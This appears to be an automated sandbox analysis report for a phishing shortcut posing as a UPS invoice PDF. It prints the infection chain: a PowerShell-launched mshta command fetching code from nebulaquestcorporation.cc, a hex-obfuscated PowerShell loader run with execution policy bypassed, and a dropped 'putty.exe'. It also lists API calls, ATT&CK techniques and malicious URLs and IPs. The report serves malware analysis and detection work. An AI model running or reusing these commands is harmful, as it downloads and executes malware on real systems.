Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function FwbFg($aDSKbaK){return -split ($aDSKbaK -replace '..', '0x$& ')};$JMNVEMgx = FwbFg('21A646F03E7B8D0E0144FF5C4397D6E8768C751065483745F91BB8343AB048B2246E85D2C3339FCBD44E15DFB72AFC02B9734D6A198B8C26999F960E241B32E123B9CBACA3B2719C1372506CBCE2AA66A828088A6FB1394DB34D592155F83047EFCC0A4D824F80F7CF48D2BEF262BB9D33AEED76C583D7D150E7BAB97E9A8CFDF072921223BBAC8034DB6994987DC74DEDC903018518B3F35E6537D8A19790BD95F0143B2B4B7E734D48A2B7ACD50D6D344FCF97F4EE62251F59AFEEB9CFBEAC068B301CDE9B6205C120F731D96BC22D1FC31D8EFB7366A1B397C3FEACFF206D10806BD24C4B7E075E59E404FA575B579D4A6DF851FA02F116A2F66F789FA93583B7A924750A4FCAE28D9AC0876FEE6A97B56A1C444B74CD5A3658FF272917B31D6BFD3C6ECA76779B6869B431C03C81496AFFCDED8FCE4236FE3A29ABA4886BCA3096A535D941BDB706E590E88FA7706D01704C7206EA1993D9AEAE980BE84779168990E621B6CA14C201182FADBE2BAD9E4DAF1390F82E6E15665D552AC5D16E555E1A10FA71DB534F2319ED67A298283D9D1A1751E92A4FCFB4D31F6A93918C158BDD7EABEF8738964944F2614AD2E6956D5DE3967B3DFE771C9B3D9AC0461E1DE5472BAB55BE9C8660808B51C7080DFEFD889FEB39F30E08DCD5F153CA0E79A9BD1E25A9744BC9BA6F2D4AD161933BF97501242E37612D84B24A8C7848DDFBCC7A2C27BEFFF04E49DBBC9B8747A32D22D665A58E7B75BAF2BD3F1B99490F02F1CC81FE2EC80A4698AB32FD2AD22E0A57EB4582E03B221A46AB6F38B5479E296F8F998DD6D5168DDF6BE6B26968F1BFAC528412BB40BFA973A25189BF34F62AF88628E5760F282273BD9BFF02CDBBA4D63C85B6432A4E0D9E278E71C030FC7DEAAD08193692A80FB945629DE03029A101207C5F6CCD2F2A28646261EEEFE0C2884B1E19245881C7F4019F40A3E6A22A4E0B908C58233F10BB8BD8761D051FEFC7CA6830D169C4CDCFF33B2AD164977B0CED54F545F0020ECBB4EE24B26829657385A8DE80F60CBA5D6B36691DFEC61790CF77FE52269ED867DFA5120D6F6B6FB44CDFD99729B57B18279E84006C9697187CD589F4C6670B67313C0BC55D33B4D23D49761F9323E4B3E7611C1E68CCA7234F6AAAFCDF9910AF8D82BB84B2A607C63A8B87F5F13F7E8A604B1BA722BD0E876B85A74D8B1827EF22E424DBBD1EB3B2CB9EE6A38003CEA4C37D16615F536B1FFF4B129E5612763B59A74FF64B2E06055B8B24F5B5B7EC633F0335F3071091D7AD4106436C236007B291CF7A546785AA4B12C6C6132447EBA40F14CDC19ECBCEE70C975C7D8F0578F7FCAE5D8A2493C63EE1933513A538C7932C9E9C55084260FAE910DFE4190287225BA380E3F6B468905DB1E58629BB1A1B3C3296158A92830DA5112AF2F8E2277479FB9AFE52AB07C3BA644BDD75957ADB75241C6C23F95ACA7AF54F336FF6A8993C9D591E45CD5E243C46981298C82628286E0C5E331ACDD58AA74DFD318E226ABA7F7800F4A5F082919C70227FB9FC05B21083D3B9441D09666C4F983DFB7A8A821A080FF46F4A453A18A711C5EF4B13B318F99DE6427F6659F80C64D4FF6966E2F33DA9C9686F7E6CFD31D9E3D0AED7D73835A8C0C6222E3000D5F10C6285154E7086FF8EB7E9C110B4B86CE83C6F08FFF8D327680FE10400DA4CE7869DC78BCAD4DE74B35E05ED0B23917BD0F6A5851D6A5605D6BCB8EF5B938BB1527EE0A159BE7290D623181BFC96809099D314A1ECDB5BFB518599AB82C48092BA1049836D235A7F5883F1AC30CC53712246AF5F651DE0907D59DC5B745CBF1210DE92CDADEED7E1043B6C1F429DF3CC959506E3A55B17614E807E23F46A911829D400434C9681DBB6A3A2A0BC95862391FB8AD4E829AB55BB8430C0ECD752BB561057DE927805A181');$fcuYB	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\upsinvoice.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe "C:\Users\user\AppData\Roaming\putty.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function fwbfg($adskbak){return -split ($adskbak -replace '..', '0x$& ')};$jmnvemgx = fwbfg('21a646f03e7b8d0e0144ff5c4397d6e8768c751065483745f91bb8343ab048b2246e85d2c3339fcbd44e15dfb72afc02b9734d6a198b8c26999f960e241b32e123b9cbaca3b2719c1372506cbce2aa66a828088a6fb1394db34d592155f83047efcc0a4d824f80f7cf48d2bef262bb9d33aeed76c583d7d150e7bab97e9a8cfdf072921223bbac8034db6994987dc74dedc903018518b3f35e6537d8a19790bd95f0143b2b4b7e734d48a2b7acd50d6d344fcf97f4ee62251f59afeeb9cfbeac068b301cde9b6205c120f731d96bc22d1fc31d8efb7366a1b397c3feacff206d10806bd24c4b7e075e59e404fa575b579d4a6df851fa02f116a2f66f789fa93583b7a924750a4fcae28d9ac0876fee6a97b56a1c444b74cd5a3658ff272917b31d6bfd3c6eca76779b6869b431c03c81496affcded8fce4236fe3a29aba4886bca3096a535d941bdb706e590e88fa7706d01704c7206ea1993d9aeae980be84779168990e621b6ca14c201182fadbe2bad9e4daf1390f82e6e15665d552ac5d16e555e1a10fa71db534f2319ed67a298283d9d1a1751e92a4fcfb4d31f6a93918c158bdd7eabef8738964944f2614ad2e6956d5de3967b3dfe771c9b3d9ac0461e1de5472bab55be9c8660808b51c7080dfefd889feb39f30e08dcd5f153ca0e79a9bd1e25a9744bc9ba6f2d4ad161933bf97501242e37612d84b24a8c7848ddfbcc7a2c27befff04e49dbbc9b8747a32d22d665a58e7b75baf2bd3f1b99490f02f1cc81fe2ec80a4698ab32fd2ad22e0a57eb4582e03b221a46ab6f38b5479e296f8f998dd6d5168ddf6be6b26968f1bfac528412bb40bfa973a25189bf34f62af88628e5760f282273bd9bff02cdbba4d63c85b6432a4e0d9e278e71c030fc7deaad08193692a80fb945629de03029a101207c5f6ccd2f2a28646261eeefe0c2884b1e19245881c7f4019f40a3e6a22a4e0b908c58233f10bb8bd8761d051fefc7ca6830d169c4cdcff33b2ad164977b0ced54f545f0020ecbb4ee24b26829657385a8de80f60cba5d6b36691dfec61790cf77fe52269ed867dfa5120d6f6b6fb44cdfd99729b57b18279e84006c9697187cd589f4c6670b67313c0bc55d33b4d23d49761f9323e4b3e7611c1e68cca7234f6aaafcdf9910af8d82bb84b2a607c63a8b87f5f13f7e8a604b1ba722bd0e876b85a74d8b1827ef22e424dbbd1eb3b2cb9ee6a38003cea4c37d16615f536b1fff4b129e5612763b59a74ff64b2e06055b8b24f5b5b7ec633f0335f3071091d7ad4106436c236007b291cf7a546785aa4b12c6c6132447eba40f14cdc19ecbcee70c975c7d8f0578f7fcae5d8a2493c63ee1933513a538c7932c9e9c55084260fae910dfe4190287225ba380e3f6b468905db1e58629bb1a1b3c3296158a92830da5112af2f8e2277479fb9afe52ab07c3ba644bdd75957adb75241c6c23f95aca7af54f336ff6a8993c9d591e45cd5e243c46981298c82628286e0c5e331acdd58aa74dfd318e226aba7f7800f4a5f082919c70227fb9fc05b21083d3b9441d09666c4f983dfb7a8a821a080ff46f4a453a18a711c5ef4b13b318f99de6427f6659f80c64d4ff6966e2f33da9c9686f7e6cfd31d9e3d0aed7d73835a8c0c6222e3000d5f10c6285154e7086ff8eb7e9c110b4b86ce83c6f08fff8d327680fe10400da4ce7869dc78bcad4de74b35e05ed0b23917bd0f6a5851d6a5605d6bcb8ef5b938bb1527ee0a159be7290d623181bfc96809099d314a1ecdb5bfb518599ab82c48092ba1049836d235a7f5883f1ac30cc53712246af5f651de0907d59dc5b745cbf1210de92cdadeed7e1043b6c1f429df3cc959506e3a55b17614e807e23f46a911829d400434c9681dbb6a3a2a0bc95862391fb8ad4e829ab55bb8430c0ecd752bb561057de927805a181');$fcuyb
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function fwbfg($adskbak){return -split ($adskbak -replace '..', '0x$& ')};$jmnvemgx = fwbfg('21a646f03e7b8d0e0144ff5c4397d6e8768c751065483745f91bb8343ab048b2246e85d2c3339fcbd44e15dfb72afc02b9734d6a198b8c26999f960e241b32e123b9cbaca3b2719c1372506cbce2aa66a828088a6fb1394db34d592155f83047efcc0a4d824f80f7cf48d2bef262bb9d33aeed76c583d7d150e7bab97e9a8cfdf072921223bbac8034db6994987dc74dedc903018518b3f35e6537d8a19790bd95f0143b2b4b7e734d48a2b7acd50d6d344fcf97f4ee62251f59afeeb9cfbeac068b301cde9b6205c120f731d96bc22d1fc31d8efb7366a1b397c3feacff206d10806bd24c4b7e075e59e404fa575b579d4a6df851fa02f116a2f66f789fa93583b7a924750a4fcae28d9ac0876fee6a97b56a1c444b74cd5a3658ff272917b31d6bfd3c6eca76779b6869b431c03c81496affcded8fce4236fe3a29aba4886bca3096a535d941bdb706e590e88fa7706d01704c7206ea1993d9aeae980be84779168990e621b6ca14c201182fadbe2bad9e4daf1390f82e6e15665d552ac5d16e555e1a10fa71db534f2319ed67a298283d9d1a1751e92a4fcfb4d31f6a93918c158bdd7eabef8738964944f2614ad2e6956d5de3967b3dfe771c9b3d9ac0461e1de5472bab55be9c8660808b51c7080dfefd889feb39f30e08dcd5f153ca0e79a9bd1e25a9744bc9ba6f2d4ad161933bf97501242e37612d84b24a8c7848ddfbcc7a2c27befff04e49dbbc9b8747a32d22d665a58e7b75baf2bd3f1b99490f02f1cc81fe2ec80a4698ab32fd2ad22e0a57eb4582e03b221a46ab6f38b5479e296f8f998dd6d5168ddf6be6b26968f1bfac528412bb40bfa973a25189bf34f62af88628e5760f282273bd9bff02cdbba4d63c85b6432a4e0d9e278e71c030fc7deaad08193692a80fb945629de03029a101207c5f6ccd2f2a28646261eeefe0c2884b1e19245881c7f4019f40a3e6a22a4e0b908c58233f10bb8bd8761d051fefc7ca6830d169c4cdcff33b2ad164977b0ced54f545f0020ecbb4ee24b26829657385a8de80f60cba5d6b36691dfec61790cf77fe52269ed867dfa5120d6f6b6fb44cdfd99729b57b18279e84006c9697187cd589f4c6670b67313c0bc55d33b4d23d49761f9323e4b3e7611c1e68cca7234f6aaafcdf9910af8d82bb84b2a607c63a8b87f5f13f7e8a604b1ba722bd0e876b85a74d8b1827ef22e424dbbd1eb3b2cb9ee6a38003cea4c37d16615f536b1fff4b129e5612763b59a74ff64b2e06055b8b24f5b5b7ec633f0335f3071091d7ad4106436c236007b291cf7a546785aa4b12c6c6132447eba40f14cdc19ecbcee70c975c7d8f0578f7fcae5d8a2493c63ee1933513a538c7932c9e9c55084260fae910dfe4190287225ba380e3f6b468905db1e58629bb1a1b3c3296158a92830da5112af2f8e2277479fb9afe52ab07c3ba644bdd75957adb75241c6c23f95aca7af54f336ff6a8993c9d591e45cd5e243c46981298c82628286e0c5e331acdd58aa74dfd318e226aba7f7800f4a5f082919c70227fb9fc05b21083d3b9441d09666c4f983dfb7a8a821a080ff46f4a453a18a711c5ef4b13b318f99de6427f6659f80c64d4ff6966e2f33da9c9686f7e6cfd31d9e3d0aed7d73835a8c0c6222e3000d5f10c6285154e7086ff8eb7e9c110b4b86ce83c6f08fff8d327680fe10400da4ce7869dc78bcad4de74b35e05ed0b23917bd0f6a5851d6a5605d6bcb8ef5b938bb1527ee0a159be7290d623181bfc96809099d314a1ecdb5bfb518599ab82c48092ba1049836d235a7f5883f1ac30cc53712246af5f651de0907d59dc5b745cbf1210de92cdadeed7e1043b6c1f429df3cc959506e3a55b17614e807e23f46a911829d400434c9681dbb6a3a2a0bc95862391fb8ad4e829ab55bb8430c0ecd752bb561057de927805a181');$fcuyb			Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF678617130 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorDacl,GetLastError,LocalFree,LocalFree,

12_2_00007FF678617130

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF678617350 AllocateAndInitializeSid,AllocateAndInitializeSid,GetLastError,GetLastError,GetLastError,

12_2_00007FF678617350

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: MonitorFromWindow,GetMonitorInfoA,GetDesktopWindow,GetClientRect,CreateWindowExW,GetLastError,MonitorFromWindow,MonitorFromWindow,GetDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,ReleaseDC,GetWindowRect,GetClientRect,SetWindowPos,CreateBitmap,CreateCaret,SetScrollInfo,GetDoubleClickTime,GetSystemMenu,CreatePopupMenu,AppendMenuA,AppendMenuA,AppendMenuA,CreateMenu,DeleteMenu,DeleteMenu,AppendMenuA,AppendMenuA,GetKeyboardLayout,GetLocaleInfoA,ShowWindow,SetForegroundWindow,GetForegroundWindow,UpdateWindow,MsgWaitForMultipleObjects,PeekMessageW,IsWindow,DispatchMessageW,IsDialogMessageA,PeekMessageA,GetForegroundWindow,MsgWaitForMultipleObjects,DispatchMessageW,PeekMessageW,IsWindow,IsDialogMessageA,	12_2_00007FF6785D53E3
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: EnumSystemLocalesW,	12_2_00007FF6786A9A14
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: GetLocaleInfoA,DefWindowProcW,	12_2_00007FF6785D1B9F
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: EnumSystemLocalesW,	12_2_00007FF6786A9D30
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_00007FF6786A9FB8
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_00007FF6786A9714
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: EnumSystemLocalesW,	12_2_00007FF6786A2EDC
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: GetLocaleInfoW,	12_2_00007FF6786A23A8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF67867B500 CreateNamedPipeA,CreateEventA,GetLastError,

12_2_00007FF67867B500

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF67868B168 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

12_2_00007FF67868B168

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF67864A3E0 GetProcAddress,GetUserNameA,GetUserNameA,

12_2_00007FF67864A3E0

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6786B697C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

12_2_00007FF6786B697C

Source: C:\Users\user\AppData\Roaming\putty.exe

Code function: 12_2_00007FF6786179B0 GetVersionExA,GetProcAddress,

12_2_00007FF6786179B0

Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860FE90 socket,SetHandleInformation,setsockopt,getaddrinfo,htons,inet_addr,htonl,htonl,htons,bind,listen,closesocket,WSAGetLastError,closesocket,closesocket,WSAGetLastError,		12_2_00007FF67860FE90
Source: C:\Users\user\AppData\Roaming\putty.exe	Code function: 12_2_00007FF67860F930 closesocket,socket,SetHandleInformation,setsockopt,setsockopt,setsockopt,htonl,htons,bind,WSAGetLastError,WSAGetLastError,htons,htonl,htons,connect,WSAGetLastError,		12_2_00007FF67860F930

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	12 Process Injection	12 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	11 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	121 Masquerading	NTDS	34 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	31 Virtualization/Sandbox Evasion	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Process Injection	Cached Domain Credentials	11 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Invoice-UPS-218931.pdf.lnk.mal.lnk	21%	ReversingLabs	Shortcut.Trojan.Pantera

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\putty.exe	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://nebulaquestcorporation.cc/cdnusa/putty.exe	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...8	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...w	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage6	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/putty.exep	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagegs	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/upsinvoice.pdf	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage	100%	Avira URL Cloud	malware
http://crl.ver)	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	Virustotal		Browse
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageC:	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/ProdV2/C:	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageH	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagehttps://nebulaquestcorporation.cc/cdnusa/inv	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageMI	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/ProdV2/C:	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://g.live.com/odclientsettings/Prod/C:	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/upsinvoice.pdf0	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	Avira URL Cloud	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageLE_STRINGj	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage...	100%	Avira URL Cloud	malware
https://nebulaquestcorporation.cc	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage$global:?	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstageYYC:	0%	Avira URL Cloud	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	Virustotal		Browse
https://g.live.com/odclientsettings/Prod/C:	0%	Virustotal		Browse
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage.	100%	Avira URL Cloud	malware
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	Virustotal		Browse
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagero	0%	Avira URL Cloud	safe
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstage/I	100%	Avira URL Cloud	malware
https://nebulaquestcorporation.cc/cdnusa/invoiceupsstagees#M	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
nebulaquestcorporation.cc	5.188.88.146	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://nebulaquestcorporation.cc/cdnusa/putty.exe	false	Avira URL Cloud: safe	unknown
